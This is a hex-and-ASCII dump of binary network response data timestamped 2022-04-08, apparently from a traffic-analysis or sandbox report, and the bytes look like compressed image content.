8f 89 94 f7 34 34 ca 6c de cd c3 64 3c 7a 7d c4 45 91 2e 3f 72 54 81 1a fc 24 29 ec 07 7c bf c4 be 8d e0 a5 cb a6 a4 04 c8
Data Ascii: u4+~5ZU"4vB!+$EJ'k%/2f'`zea4pS?eRE;XG!Q:0a H&%T0W/DVFY$|'m{5\[<3URkGj/R,t't|K164mI 344ld<z}E.?rT$)|
2022-04-08 08:02:43 UTC4901INData Raw: af fb 13 4c c8 21 ae 93 48 64 b7 9e dd ec 63 0c 9e 99 a4 54 06 a3 d4 6f 88 d7 35 b9 66 59 52 3e 4b 21 60 91 5a 23 71 91 81 67 2d bd 58 0f 86 a4 f8 e6 3e 9b 29 c9 22 1b 02 95 b5 c2 a5 cd 18 b1 43 f0 b3 00 48 0c 4f 41 b6 6d 73 13 c3 b3 22 54 2e 61 96 eb 51 0f 45 63 03 1f 50 9a 0a 20 db 6a f5 3e d9 56 23 69 12 4e b4 f7 11 46 7d 69 da 59 43 6c b2 0d c0 a6 c2 83 a0 a6 67 5d 37 40 b1 df 36 c6 90 37 ac a3 d3 51 f1 d4 b1 20 ed ed 5a 66 7e 21 6c f2 15 5f 24 58 b7 98 75 4b 6b 73 46 69 64 41 f1 6e a0 83 5d c7 85 32 79 85 0d 9c 10 6d ee 5a c5 9d f7 95 20 17 6d 49 a5 67 3c 4c 7f 0c 74 a6 c4 ad 73 5f ea 8f 36 e2 f1 2f 3b eb f7 9e 61 92 97 ad c6 38 c9 31 0e fb 9d c6 67 e0 e6 e0 64 95 b0 bb 3d 13 56 d5 e6 ff 00 45 e8 77 24 93 b6 6d c6 40 39 b5 c6 24 b2 24 f2 9e b9 66 b5
Data Ascii: L!HdcTo5fYR>K!`Z#qg-X>)"CHOAms"T.aQEcP j>V#iNF}iYClg]7@67Q Zf~!l_$XuKksFidAn]2ymZ mIg<Lts_6/;a81gd=VEw$m@9$$f
2022-04-08 08:02:43 UTC4909INData Raw: 84 bc 6a a4 10 28 57 6e 14 a7 5a 75 c6 31 4a b5 be ac 67 2d 1a f2 e5 41 42 aa 38 d4 7f 33 76 c9 70 53 12 94 37 ac ee ed 08 3c 58 74 ed 5f 7f 7c 9d ad ac bc 3e a5 b0 91 c7 07 52 3e 2a ee 3b 75 c9 82 c0 95 6d 1b d3 49 4b 3c be 92 48 d5 f5 18 54 0a 0f 0c 26 8a dd 26 6f 7a f3 c8 b6 e1 7f 7a 95 0c f5 e4 ac 7b 50 9f e6 fe 5f b3 95 c6 34 cb 9a 51 ea fa ca f1 41 f0 b1 3c 01 e1 b7 2f 01 d4 75 f0 fa 32 f1 4c 4c 4a 1a 5b 27 50 c9 72 81 64 31 31 35 a8 15 51 5a 78 57 2c 06 da 16 69 77 a1 02 ab 55 c9 24 80 4d 28 07 8f f0 c1 20 dc 02 a5 cc 68 19 6e ad 83 56 44 66 60 cb 50 48 34 aa d3 2b 12 64 0d 2b 40 8c b1 12 cc 78 15 01 81 df 63 da 98 0c ad 36 af 72 c2 e6 53 70 02 80 54 2f 1e 3b 74 a0 21 7d bc 71 06 95 56 28 26 58 23 87 8d 18 d5 d7 9b 00 a4 0d b6 f7 f6 c0 a8 66 89 ee
Data Ascii: j(WnZu1Jg-AB83vpS7<Xt_|>R>*;umIK<HT&&ozz{P_4QA</u2LLJ['Prd115QZxW,iwU$M( hnVDf`PH4+d+@xc6rSpT/;t!}qV(&X#f
2022-04-08 08:02:43 UTC4925INData Raw: cf 18 d8 29 a5 07 cb bd 3c 32 61 2a d0 db cd 13 bc d0 d0 23 8d b6 ea 72 26 49 b4 15 dd bc 7e af 09 15 94 37 56 1d cf d3 89 97 73 5c 8a 72 97 b0 45 1a a5 c2 16 8a 35 e3 d8 b2 9f 65 d8 9c d7 c8 1b 71 4d da 16 3b f9 4c 61 a2 5e 29 4f da 5e 2c 6b dd bb 65 c2 3d ed 82 2d da 46 b3 27 16 24 12 6b 53 b7 d0 70 1d 93 c2 8e 4b 58 d5 0a 40 41 45 35 24 7e 3e fd 70 f1 36 a6 4f 0c 12 48 12 53 c8 88 94 8a 1a 9e 40 9d 8e fb 6d 98 b2 e6 c2 49 05 e4 f2 c8 e6 dc 95 40 2a 05 0f 6f 73 99 11 51 b8 54 e4 f3 48 6e 21 a2 f1 89 79 2b 1d 8f 11 4f a7 27 4c e4 ba 07 37 5c d5 95 48 0a 2a 18 90 07 fa bd a9 95 11 bb 8e 50 90 cc d4 65 8c 22 b2 6d f0 ef 51 f3 f1 cb 40 65 12 88 b4 ba 02 e0 a9 62 b1 ba 9e 21 b6 00 fb e5 e2 2d 80 db 57 22 c6 19 54 44 25 0e c0 92 c0 8a 72 f0 51 d3 2e 8a 85 0b
Data Ascii: )<2a*#r&I~7Vs\rE5eqM;La^)O^,ke=-F'$kSpKX@AE5$~>p6OHS@mI@*osQTHn!y+O'L7\H*Pe"mQ@eb!-W"TD%rQ.
2022-04-08 08:02:43 UTC4941INData Raw: 2c b5 53 cb fc 92 50 95 e4 0f 55 1d 32 dc 79 ef 9b 59 14 2d 52 cf f2 ea f6 43 c9 3f 7d 2f 3a 49 15 b0 2e ea 3f 98 91 f0 85 f9 9c 67 a9 00 35 8d d1 d2 f9 20 c9 24 16 f1 5c 46 fe ab a8 6f 53 f7 6a bf eb bf 50 07 52 78 e6 34 75 5c 5d 19 18 d3 ff d6 e6 71 fd 66 f5 02 a2 14 51 fe 4f 52 73 46 0b 60 8a ba 59 4f 6f 56 20 16 ad 0d 76 df 2c e2 0c b9 2c 31 6a 12 3a ac 91 47 5a d5 5c 9d be 55 c2 0b 48 58 61 e2 c1 e5 dc f5 f8 77 fb f0 da 84 4a e9 ff 00 55 e7 2d c3 b0 aa 13 e9 a8 a3 38 23 ec 80 3e c8 ff 00 28 e3 cd ba 94 e2 66 08 16 25 11 10 03 0a f5 24 ff 00 94 72 49 b5 5b 96 8d cd 39 38 04 0a f1 a1 5a d3 b9 db 03 03 ba 18 ca 04 42 33 c4 92 7e 21 5a 11 ef 8d d2 0a 1a 6b 5a 4a 88 a1 ca ad 18 9d a8 7d ce 00 51 6b fd 54 59 5f 8a 07 92 a3 e2 03 89 00 7e c8 ec 32 55 6c c2
Data Ascii: ,SPU2yY-RC?}/:I.?g5 $\FoSjPRx4u\]qfQORsF`YOoV v,,1j:GZ\UHXawJU-8#>(f%$rI[98ZB3~!ZkZJ}QkTY_~2Ul
2022-04-08 08:02:43 UTC4949INData Raw: da c0 c6 03 6e ed 2c b1 07 59 c3 1a 05 2a 37 a9 ef cb ae 4a 25 a0 ee 10 57 5e 56 1a 95 a4 77 32 cf 15 ba c7 18 54 67 20 0e 2a 7a 50 6e cf 53 f4 e5 67 21 09 89 4c 2c 1a d7 47 b7 54 8a 44 96 44 3f 65 95 9a 39 28 6b 52 0f c3 b5 2b b0 ca 48 27 74 da 15 b5 a4 96 39 24 b7 4e 4f 23 f3 79 83 51 8d 4f d8 0b d3 87 e3 96 08 d1 64 64 d4 5a c8 b5 88 5e 70 4f af 3b b1 8e a2 b4 50 08 e5 f1 1a 7c 3f b2 29 d7 7c 9f 0d ec da 27 b3 15 d6 2e ae 6f f9 5c 4f 56 97 6a d7 dc fe ac cc c7 11 1e 48 6a c9 81 bf 67 0a 39 ba 9d 8f 42 7e 5e 38 72 ee 90 c9 65 6f ad 22 db 99 0b 44 ad 56 50 07 d3 46 eb fd 33 0f 92 42 4d e6 28 e2 b6 11 a5 ba b2 20 e4 48 3f 16 c6 9c 49 6a 0a e6 46 23 68 e4 83 d0 6f 05 a5 d4 89 12 34 92 11 55 a5 29 b7 da a9 3d 36 c9 65 87 13 1a 4d ed 75 3b f9 61 ad b2 ac 70
Data Ascii: n,Y*7J%W^Vw2Tg *zPnSg!L,GTDD?e9(kR+H't9$NO#yQOddZ^pO;P|?)|'.o\OVjHjg9B~^8reo"DVPF3BM( H?IjF#ho4U)=6eMu;ap
2022-04-08 08:02:43 UTC4965INData Raw: f9 66 a7 50 61 2b 8f 57 2b 08 90 36 19 96 b9 a6 4b 7f 02 5c 5a 71 22 e2 ed a5 fb 55 51 c9 47 d9 2d b1 de a6 8b 9c cf 10 12 76 92 81 20 29 5b 58 49 7b 34 3f 5a 43 eb 5a 4a 0b 85 df 92 d3 ed 50 ed b7 5c c4 9e 5a b0 1b 31 c0 ec ad e6 69 0d bd a2 e9 d7 1e 9c 76 b3 4a 24 86 51 1f 37 25 0f c3 1b 6f c9 17 fc a5 cb f4 d2 ea 37 6d cb be d6 84 f3 52 d8 58 cb 6d 14 83 d1 7b 66 09 30 5e 2d 14 84 0f b5 5e ab 21 af c5 5a e7 43 a5 91 2e af 3d 30 dd 4f d2 d3 26 36 36 ea bf 17 53 b3 03 51 b2 8f 13 9b 88 ee eb 64 c6 af 2d d5 c3 42 e8 a8 e4 9e 82 94 23 36 10 50 97 5c 5b 4b f5 72 24 20 6f 51 f2 1d 32 f0 59 10 87 4b 8b 98 4d 63 27 87 72 bb 0a 9d b2 68 56 b5 29 1c 80 4a d4 0c a4 d7 ad 3e 8c 89 4d 27 f6 bb c1 e8 84 0d 38 50 14 9e 8d 53 4e 87 b8 19 87 21 d5 29 82 cf 2d b4 cb 04
Data Ascii: fPa+W+6K\Zq"UQG-v )[XI{4?ZCZJP\Z1ivJ$Q7%o7mRXm{f0^-^!ZC.=0O&66SQd-B#6P\[Kr$ oQ2YKMc'rhV)J>M'8PSN!)-
2022-04-08 08:02:43 UTC4981INData Raw: bf ae 20 2a 09 34 8b d6 b9 85 65 58 99 e6 5a c6 0b 50 91 5d aa 07 4a fb e1 b5 08 09 ed 6e 9b 54 68 12 27 79 fa 98 c0 a9 e5 df e8 18 43 22 ff 00 ff d5 e0 f1 fe ec 72 65 0c c0 ef 5f da 19 82 dc 88 b6 90 ac 84 a4 5f 0b 03 b1 ad 07 be f9 09 16 08 a6 ba 4b 22 78 87 79 0d 2a 28 36 53 d0 ed 94 db 4d a8 08 de 7b a2 d1 28 e4 a2 a1 3b 53 c7 e7 e3 8d a7 89 52 3b 89 9c d0 85 6a 1d d7 75 fb f2 05 b2 d1 50 ea 8c a1 ad ca 20 42 49 ab d0 d6 9f ca 72 ae 1b 49 54 d3 da 38 ad a4 64 57 70 4d 59 90 57 85 3b fd 1d f1 20 84 d6 c8 83 0a 5d b8 f4 a5 2f d2 a4 ee 77 ed 5f 0c 04 f0 a1 7b 42 f1 a3 21 40 b5 3d 40 a7 20 3d fc 46 52 27 6b 68 94 b1 2b 18 68 db 90 62 08 0d d4 71 eb d3 2c 8c f7 45 a1 d1 25 76 71 39 d8 03 40 01 e2 36 d9 aa 3c 3c 33 2e d9 23 ae 2d 4c f6 e4 48 e5 66 e0 ab 19
Data Ascii: *4eXZP]JnTh'yC"re__K"xy*(6SM{(;SR;juP BIrIT8dWpMYW; ]/w_{B!@=@ =FR'kh+hbq,E%vq9@6<<3.#-LHf
2022-04-08 08:02:43 UTC4989INData Raw: e3 d7 91 a7 e3 95 92 9a 45 da 4a a2 b0 02 c6 84 92 6b 40 7e 8c 89 52 16 09 ca 83 2c 7b b2 37 51 b1 df 05 31 4c d2 6f 58 c6 f7 7c d1 64 5f 85 bc 4f 88 ae 62 4b b8 20 46 99 0c 1a 48 69 23 36 44 dc b4 c3 80 68 99 5b 89 af ed 2f f5 cc 09 64 ab e2 d9 bb 82 f9 26 2d f5 cd 0b fd 13 50 b7 95 6e 90 f2 8d b9 ae eb d8 71 df 6a 66 20 c7 1c a2 c2 78 8c 36 29 f7 93 75 3d 48 fa fa 9a 2c 46 da c9 90 34 4e c1 64 58 dc ee c0 9e 35 e2 3a 66 87 5b a5 17 18 8b dd da e9 a5 2e 13 3d a8 74 45 2f 9f c3 33 49 2c 6a f6 e7 d4 44 11 92 b5 23 ec c8 07 4f 98 cd 7c bb 1c f2 0c ff 00 34 0e e5 22 ff 00 11 41 72 f3 dc c7 10 47 45 3c 9a 32 09 dc d0 f3 43 f0 d1 8e 6e f1 68 b8 40 0d 07 2d ee 80 93 cc f1 6b 45 5b 53 8c 88 a0 56 31 aa 52 3d c0 00 05 a5 77 e5 4a 8e e3 36 f0 d3 70 f2 75 f2 9d b1
Data Ascii: EJk@~R,{7Q1LoX|d_ObK FHi#6Dh[/d&-Pnqjf x6)u=H,F4NdX5:f[.=tE/3I,jD#O|4"ArGE<2Cnh@-kE[SV1R=wJ6pu
2022-04-08 08:02:43 UTC5005INData Raw: 78 e3 0b ea 26 c4 90 4f 5e bc be 9c d4 4b 19 72 04 91 36 0f a7 de 5e 0b 58 5d 19 e4 50 dc 66 96 80 d3 f6 43 7e d3 b7 61 f4 66 3c a1 2e e7 22 04 13 56 89 8f cc 57 28 a5 6c e6 8c 14 f8 63 8c 46 bb a8 35 e2 ed 4a f5 ee 79 66 ba 7a 70 79 b9 90 cb 21 c9 1d 7b 71 a8 4d 75 15 dc af ce 29 81 f5 00 2a 49 27 f0 14 1b 0f bb 2a a0 36 ea e6 0b 3b a7 71 69 b6 a9 12 85 91 8c 2d 51 25 61 e2 23 db e1 f8 cf da ff 00 28 66 21 95 7f 63 68 8a 0f 55 b3 3a 60 b7 ba 7e 32 a9 42 aa 63 20 0a f5 a5 17 ad 47 c5 4a 66 4e 1c bc 5f 07 1b 20 e1 4a 75 4f 30 5c b5 22 b3 91 23 05 08 31 d2 9c 4d 37 3b f7 cd ac 2b ab 41 3d 03 5e 54 b8 d4 6c 5d 2e 63 95 84 26 41 49 41 fe ed 81 d8 b0 3b a7 8f cb 23 9b 20 1c 9b b1 02 8a d5 cd b7 a9 76 92 05 17 d1 cb cb 98 a7 19 aa 77 60 48 15 27 fc 9f 84 8c 38
Data Ascii: x&O^Kr6^X]PfC~af<."VW(lcF5Jyfzpy!{qMu)*I'*6;qi-Q%a#(f!chU:`~2Bc GJfN_ JuO0\"#1M7;+A=^Tl].c&AIA;# vw`H'8
2022-04-08 08:02:43 UTC5021INData Raw: bf ff d4 24 8a 2f 58 bc b1 a8 41 fb 5c 8f 5f ec cd 69 76 08 1b 93 15 b4 12 48 fb ba 82 47 13 b7 d1 90 6b 91 62 31 f9 85 16 f5 1a dd 0f 11 f6 83 ef 5a f5 f9 65 82 c3 8c 25 ba 39 7c cc 27 d4 5a 49 eb f5 6e 2a 08 eb 5a 1a 74 f9 60 e2 66 0d ac d4 6f 10 4b c6 de 9f 56 66 e5 c5 36 db da b8 0b 60 29 55 dc eb 1c 81 ed 59 bd 23 f6 97 c0 fd 1d 72 21 04 ae d2 3c c2 b6 93 2c e4 86 e2 db ed 5a 64 d9 c4 b3 34 f3 2d bf 35 91 78 49 1f 52 58 f1 fc 3a e0 6d b4 15 d6 a3 a7 d9 b1 96 35 fe f6 bc 94 9a ec 4f 61 8d 34 db 14 d5 6d cc b5 fa ba 80 19 be cf 2a 6c 7c 32 c0 d6 54 a6 d2 d0 c3 c1 2a 64 4e c3 b0 ef 86 d9 52 59 0c 73 c8 e5 4b 10 49 a7 1e b5 a1 c9 b1 57 ba b4 4b b9 68 18 d5 06 db 54 12 3b 93 d8 e2 b7 4a 8c 24 b9 81 54 2d 55 08 a0 a8 04 ff 00 5a 64 55 b3 cd e3 2c c9 f1 f2
Data Ascii: $/XA\_ivHGkb1Ze%9|'ZIn*Zt`foKVf6`)UY#r!<,Zd4-5xIRX:m5Oa4m*l|2T*dNRYsKIWKhT;J$T-UZdU,
2022-04-08 08:02:43 UTC5029INData Raw: e6 24 94 fe f1 55 1b 89 e7 fc db 9f 85 bf 6b 8f 86 44 87 27 09 b4 6e 99 65 25 94 31 c9 07 06 df 91 15 a9 2a 4f c4 3d b2 9e 6d f2 9d 22 1a fa c6 f6 79 a6 65 90 43 c0 a2 21 3c 82 13 5d 85 3a 75 db 22 1a 66 4a 57 71 2a 7a 4b 6d 6f 20 66 91 f9 78 10 47 c2 bf 16 64 47 76 00 d1 54 82 e4 7a 6a d2 9f 8a 22 4b 1a 54 d4 75 a7 89 f6 ca a5 1b 2e 64 66 3a a7 1a 5e 93 7b a9 5a 7d 77 4e 61 2a b0 3c 95 63 62 c8 05 36 e7 40 a6 4f f2 6b f4 e1 e0 6a 94 c2 16 6d 3e 4a 4c 14 88 fd 21 f1 ba 00 92 35 4d 29 56 df fd 8a e5 9c 9c 72 7a a1 7f d0 17 f7 56 89 20 b8 50 d4 65 62 37 3b f5 23 73 86 9a 8c 92 d2 55 f7 99 dc bd 68 15 68 42 93 bf 4f d7 80 c6 d8 a2 21 7f 49 e9 c8 7a 67 7a 01 d0 d3 a1 f9 64 78 55 49 74 66 be b9 66 b4 9e 3e 65 03 93 42 39 57 a8 15 cb a3 2a 0c 92 ab e8 44 6a 90
Data Ascii: $UkD'ne%1*O=m"yeC!<]:u"fJWq*zKmo fxGdGvTzj"KTu.df:^{Z}wNa*<cb6@Okjm>JL!5M)VrzV Peb7;#sUhhBO!IzgzdxUItff>eB9W*Dj
2022-04-08 08:02:43 UTC5037INData Raw: cd 45 55 bf 9a b9 2c 51 e2 24 80 99 1e 10 c0 35 c4 b3 9e 74 96 d9 c2 b9 62 4a ee 78 f8 54 9e b5 cd d6 22 40 a2 d4 4d a3 ee fc d3 7b 3d 9a db 5c b0 9a 4e 67 e2 90 28 54 1d bd 31 d1 7e 8c a6 3a 61 c5 6c 01 d9 05 6b e6 ab c5 b3 b8 b1 b9 45 9c ca 29 13 b1 23 d3 27 ab 28 1f 69 a9 b5 5b 2d fc b4 44 84 86 c9 b4 ae c6 ee 2b 79 93 eb 10 ad c2 a6 fc 1c 1a 1f 9f 1a 66 5c 81 ad 9a 93 fd 33 cc 07 4b 8e e4 44 8a 63 9a 40 e6 25 1c 57 88 1f 60 53 70 0e 61 66 c5 c7 cc b2 3c db 9e 79 7c d5 76 b7 37 77 48 93 07 54 11 48 c5 07 a6 0e c9 cc 6c aa 3a 65 15 e1 0a 08 b6 7b 7b ac 2e 8c 61 8e 1b 58 2d 89 8e a3 85 68 8a 4f ec c8 f5 3c a9 fb 5e 19 a8 8c 4c fa b7 5d 25 36 b7 7a 16 a6 ad 05 d5 9c 41 a3 35 0f 1b b1 f5 b7 fd b0 36 db 23 33 21 d6 d8 92 99 c5 65 63 36 a3 14 c2 2b 67 0e bc
Data Ascii: EU,Q$5tbJxT"@M{=\Ng(T1~:alkE)#'(i[-D+yf\3KDc@%W`Spaf<y|v7wHTHl:e{{.aX-hO<^L]%6zA56#3!ec6+g
2022-04-08 08:02:43 UTC5053INData Raw: c2 94 eb 98 e6 44 b9 71 08 bb 88 e2 9a 62 50 f1 85 07 7e de fe f8 44 db 69 18 6c 3f 48 da c9 2c 52 ac 16 91 a5 1e 43 4a b3 9f b2 3c 49 23 f6 57 13 98 c4 ed ba 78 6d 5b ca 3e 59 f2 de a1 eb 7d 75 26 b8 28 19 82 16 31 a2 95 15 e6 f2 02 a8 bc bf 61 39 31 ef 92 cb 9e 40 77 31 84 40 96 ec 2b cd 7a 38 d3 b5 02 6c 9f 9d ac b1 89 a1 90 74 08 6b f0 9a 96 af 0a 52 b5 df 33 74 fa 8f 10 6f cd 8c e0 07 26 27 14 12 5b ca d3 b3 f2 55 35 0a 37 24 b7 80 cc f9 35 f2 4d ae 66 37 25 39 0e 07 a9 20 d2 be c7 30 ce cd 82 56 80 9a 2b 3a 12 55 91 ab f1 11 b8 a7 6f 96 2c 97 c3 7b 2f d7 63 e0 12 5a 2f a2 36 26 80 f7 50 7b 8f 1c aa 61 ba 28 cb ab 38 ad ee a4 17 82 49 ed 8f c2 ac 49 51 42 45 49 23 31 46 e3 66 52 d9 07 7d 35 bd d5 e4 b6 2b 1b 49 6a aa 3d 39 15 ca 08 88 ea 78 ef cb e1
Data Ascii: DqbP~Dil?H,RCJ<I#Wxm[>Y}u&(1a91@w1@+z8ltkR3to&'[U57$5Mf7%9 0V+:Uo,{/cZ/6&P{a(8IIQBEI#1FfR}5+Ij=9x
2022-04-08 08:02:43 UTC5069INData Raw: 32 48 6a 40 1e 18 ce 34 18 9d 83 3c d0 34 ce 13 16 b7 93 d6 98 ae d5 5a 2d 06 e2 9e f9 a7 c9 2b 6a e2 42 6a 77 65 6f 3d 16 8d d2 40 00 a5 68 d5 eb f2 c9 63 8d 84 24 53 c0 6f 5e 66 05 a3 5e 84 13 52 c4 75 19 9a 19 04 03 ea 1f 5c e1 1b 13 ea 0e 28 b4 da 83 a6 58 23 d5 8d 85 4b dd 3a 4b 51 ca 59 08 e4 c4 00 6a 4e de 3e d8 8a 28 25 36 b3 59 5a 2f 5e 35 0c 63 1f 1c 95 da 87 a0 3e 39 5c a9 ad 1f 65 3c b7 4a d1 a1 1b 02 40 e8 77 fe 53 db 31 8e c9 44 36 a5 6f a9 dc 24 3a e2 bc 76 d6 e5 54 88 f8 97 60 05 15 41 a5 2b e2 4e 43 83 87 78 b9 03 6e 48 69 12 3d 4a 06 b3 d2 c2 88 19 b9 09 25 21 4d 6b b2 72 3d b2 51 b1 b9 6c 08 39 b4 4b 88 3d 3b 4b 4b 47 9a e9 80 25 94 10 a8 6b ba ec 78 b6 58 32 03 cd 97 45 1d 5f 4e 5d 3a f7 ea b3 72 0e a1 09 67 5e 24 37 7d bc 32 c8 cb 88
Data Ascii: 2Hj@4<4Z-+jBjweo=@hc$So^f^Ru\(X#K:KQYjN>(%6YZ/^5c>9\e<J@wS1D6o$:vT`A+NCxnHi=J%!Mkr=Ql9K=;KKG%kxX2E_N]:rg^$7}2
2022-04-08 08:02:43 UTC5076INData Raw: 6a 21 da 59 b5 b2 b9 91 ee 0c 91 83 5f 4c a0 a9 63 d8 74 e8 7c 70 49 87 0a 61 61 72 8d 34 af 23 96 45 5a 98 48 55 03 6e a4 1a 72 3e 03 22 da 02 56 f7 25 24 fa bc 25 4c 12 05 66 1d c1 1d ab fd 31 23 aa 11 3e 94 05 f8 a9 0c 48 a8 51 bd 3e 9f 7c 6d 2a f1 69 f0 da bf af 79 70 cc 6b 45 89 6a a4 d7 c7 f9 46 58 24 c4 a1 e7 80 c3 74 b0 c4 1a 3f 50 92 8a a7 99 1f ed 78 e4 49 b4 da 65 0d 84 f3 c8 52 b2 47 0a 02 0c ce 0a 80 06 ec 57 df 35 f2 01 a0 84 1c ac 93 9a 02 78 54 f1 67 14 63 4e e0 65 62 34 d4 a7 15 f4 b1 c2 61 27 d3 88 8a 86 24 f1 a0 fd a7 a7 53 89 80 2c c0 4d ad 2d 74 cb 57 4a 5c 09 03 21 e4 00 aa ee 2b 40 57 7e 40 f4 cd 5e 78 d7 46 76 9a de 5e 5b 43 07 a7 0f 25 2c b5 44 a2 f1 3d 05 2b f6 b6 1d 73 14 ee 69 78 ad c9 2c 97 30 89 7d 00 29 fd d9 ad 0e dd f8 f6
Data Ascii: j!Y_Lct|pIaar4#EZHUnr>"V%$%Lf1#>HQ>|m*iypkEjFX$t?PxIeRGW5xTgcNeb4a'$S,M-tWJ\!+@W~@^xFv^[C%,D=+six,0})
2022-04-08 08:02:43 UTC5092INData Raw: f4 a4 04 8e 5d 00 df 71 5c 28 28 59 ac dc 39 11 3d 21 15 0c dc 81 02 9d 7e 7e d8 db 44 b6 6e da ee e8 a0 b5 b4 62 21 07 92 80 2a 4d 3f 6b 05 20 22 e5 bf 13 41 22 de c4 a4 0f 84 b1 1b a9 3d 0f 4a 64 69 98 54 d3 a5 16 76 b2 18 37 74 d8 b3 7c 40 83 db 7f b3 5c a6 5b b3 5f 71 34 32 3a 9e 34 6a 00 40 26 80 f8 64 18 da eb c9 a3 70 a1 56 30 14 f2 66 e1 cc b7 cb c2 9e d8 02 15 24 79 d1 cc f1 40 92 c5 26 cb c3 a0 3e e3 bf b6 55 92 20 a0 a3 05 d4 50 15 05 08 65 3f e7 b6 69 ce 3e 23 b3 59 34 87 5b 95 9d 99 9f 68 c1 67 65 a7 c3 4a 74 a7 6c b3 80 45 41 56 7d 43 d0 84 24 9c 95 97 75 50 68 0e fd 47 8e 54 70 f1 14 12 96 0b e8 15 f9 49 08 92 43 b8 05 8e d4 f6 1d 72 53 d3 10 36 60 4a 2e 1b eb 68 e5 64 99 38 f3 fd 90 48 35 a7 ec f5 20 65 43 4c 65 ba 10 d7 9a c2 c7 00 8d 13
Data Ascii: ]q\((Y9=!~~Dnb!*M?k "A"=JdiTv7t|@\[_q42:4j@&dpV0f$y@&>U Pe?i>#Y4[hgeJtlEAV}C$uPhGTpICrS6`J.hd8H5 eCLe
2022-04-08 08:02:43 UTC5108INData Raw: d6 07 7e 53 31 44 5e a7 a5 2b d0 fb e1 3c 91 4a 77 6d 6e b3 39 5a 50 8d c1 df 71 d3 b6 40 85 2a 89 3b 5a c4 cc ca b5 5e 85 b7 07 e4 7f 56 0e 16 2b 27 7b ad 5c c4 f2 bb 4d 25 54 32 1e 29 45 03 7e 4c 7a 6d df 24 3d 21 53 8f f0 79 d4 24 89 74 b9 55 96 35 76 e3 2b aa 90 29 43 c5 db 8a be fd 29 f1 65 43 37 46 69 85 8e 93 6f 22 44 0d 0d c2 0a 35 43 50 9a f4 e7 b7 e1 95 f1 59 61 24 a7 53 d1 e3 b7 bc 9d 84 cb ea 46 42 96 ab 14 2c 3a d2 bf 16 df ea e5 e0 b4 12 97 6a 37 52 4a ce ab cc ce 40 22 61 56 2d 41 d7 6d 87 cb 2c 88 47 12 4c b6 b2 b5 bf af 2c 45 0d 79 38 7f 87 fb 77 cc ab 50 8c 90 18 ed cd b4 34 8c ca 01 ae f5 35 e9 f2 1f 8e 5a 10 4a 5d 6d f5 ab 49 09 4e 28 d1 f4 7a 56 9e 39 61 16 c6 d0 9a 95 e3 42 ad 04 6e cd 42 1a b5 f8 49 3d 48 1d b0 88 ad b6 8f 2e a2 8c
Data Ascii: ~S1D^+<Jwmn9ZPq@*;Z^V+'{\M%T2)E~Lzm$=!Sy$tU5v+)C)eC7Fio"D5CPYa$SFB,:j7RJ@"aV-Am,GL,Ey8wP45ZJ]mIN(zV9aBnBI=H.
2022-04-08 08:02:43 UTC5116INData Raw: c3 fe c5 c9 8c 8a 53 7b 68 f5 6f 56 50 ca 7a 12 42 d2 9d ba 66 9b 3e 12 2f 8a 40 8f 78 83 95 09 0e 83 f4 b1 8b db 27 0d c8 71 dc 9e 84 b5 69 ef 4e 99 ca e6 c2 41 bd b7 ee 26 7f 2d 83 b0 84 92 99 e3 20 16 00 95 07 ad 36 cd 79 3b 72 d9 bc 3c cb f3 45 e4 b0 6d 37 50 8a ee 4b 17 49 27 51 32 10 68 5a 23 45 29 df 97 d9 e4 3e ce 6e b4 27 a9 4d 73 7c f9 e6 39 d2 33 1e ee 65 34 17 4a 50 05 06 9f 0f a6 7a b2 ff 00 31 a0 f6 ce d3 0c 0f 27 03 22 6d a5 6b 52 4d a6 58 58 bc 5c 55 b5 18 db d5 fd 96 01 49 03 e6 0e 4b 26 3a 36 d4 25 b5 35 e6 d9 da 28 e6 8a 30 4d c4 f2 a8 e9 50 8a 2b d4 0f 1a 16 c8 c3 73 ba 24 14 ed 6e ee 2c 2c 6f 23 d3 dd 65 13 94 56 91 50 f0 50 2a 58 b7 57 12 1c 91 60 00 65 1a 7e b5 24 11 41 61 30 8d 94 29 72 ec d4 a3 91 4e 34 6a 31 a9 f8 7e 11 91 e4 a7
Data Ascii: S{hoVPzBf>/@x'qiNA&- 6y;r<Em7PKI'Q2hZ#E)>n'Ms|93e4JPz1'"mkRMXX\UIK&:6%5(0MP+s$n,,o#eVPP*XW`e~$Aa0)rN4j1~
2022-04-08 08:02:43 UTC5132INData Raw: 8f 89 f5 65 ec 18 ec 11 4f 56 f9 e5 d9 32 50 24 74 6d 84 45 d3 da 47 94 bc af e5 b1 1c 36 36 12 99 a1 91 79 73 62 44 b4 15 7e 9b 1a 9a 0c c5 d4 6a 23 b0 a9 5c 4f 7f 3e f7 26 11 3e 4c d7 51 bc bc d5 6c e1 95 e2 78 29 21 55 0a 08 01 48 a6 de 27 b0 cc 6d 4e 59 e5 88 24 18 fa b6 a1 d0 fb d6 31 8c 49 03 76 b5 0d 3a 3b d9 8d d5 c0 48 f8 2c 65 53 a3 92 80 86 f8 69 5a 56 9f 6b ad 31 cb 88 48 f1 9f 4e d1 db f8 8f 07 3f 4f be be ae 6b 13 5b 35 aa 4b 67 a6 af d5 24 91 a6 46 53 48 02 b5 07 71 4a 8a 72 a9 c9 67 31 c7 e9 24 c8 11 f4 6f 5e 5d 3c d6 16 77 aa 62 d7 de 57 bf b9 76 9d 63 67 57 2c f5 20 2d 01 ec 6a 7a 8c d6 4f 49 92 5b d7 36 f1 90 0d 98 c5 ee 98 11 44 8c 42 a1 03 88 26 a4 fb ed 98 12 8d 0f da dc 12 c9 2c 03 2d 41 f9 64 44 a9 b3 85 8b 6b be 5e 5b d4 3d f6 dc
Data Ascii: eOV2P$tmEG66ysbD~j#\O>&>LQlx)!UH'mNY$1Iv:;H,eSiZVk1HN?Ok[5Kg$FSHqJrg1$o^]<wbWvcgW, -jzOI[6DB&,-AdDk^[=
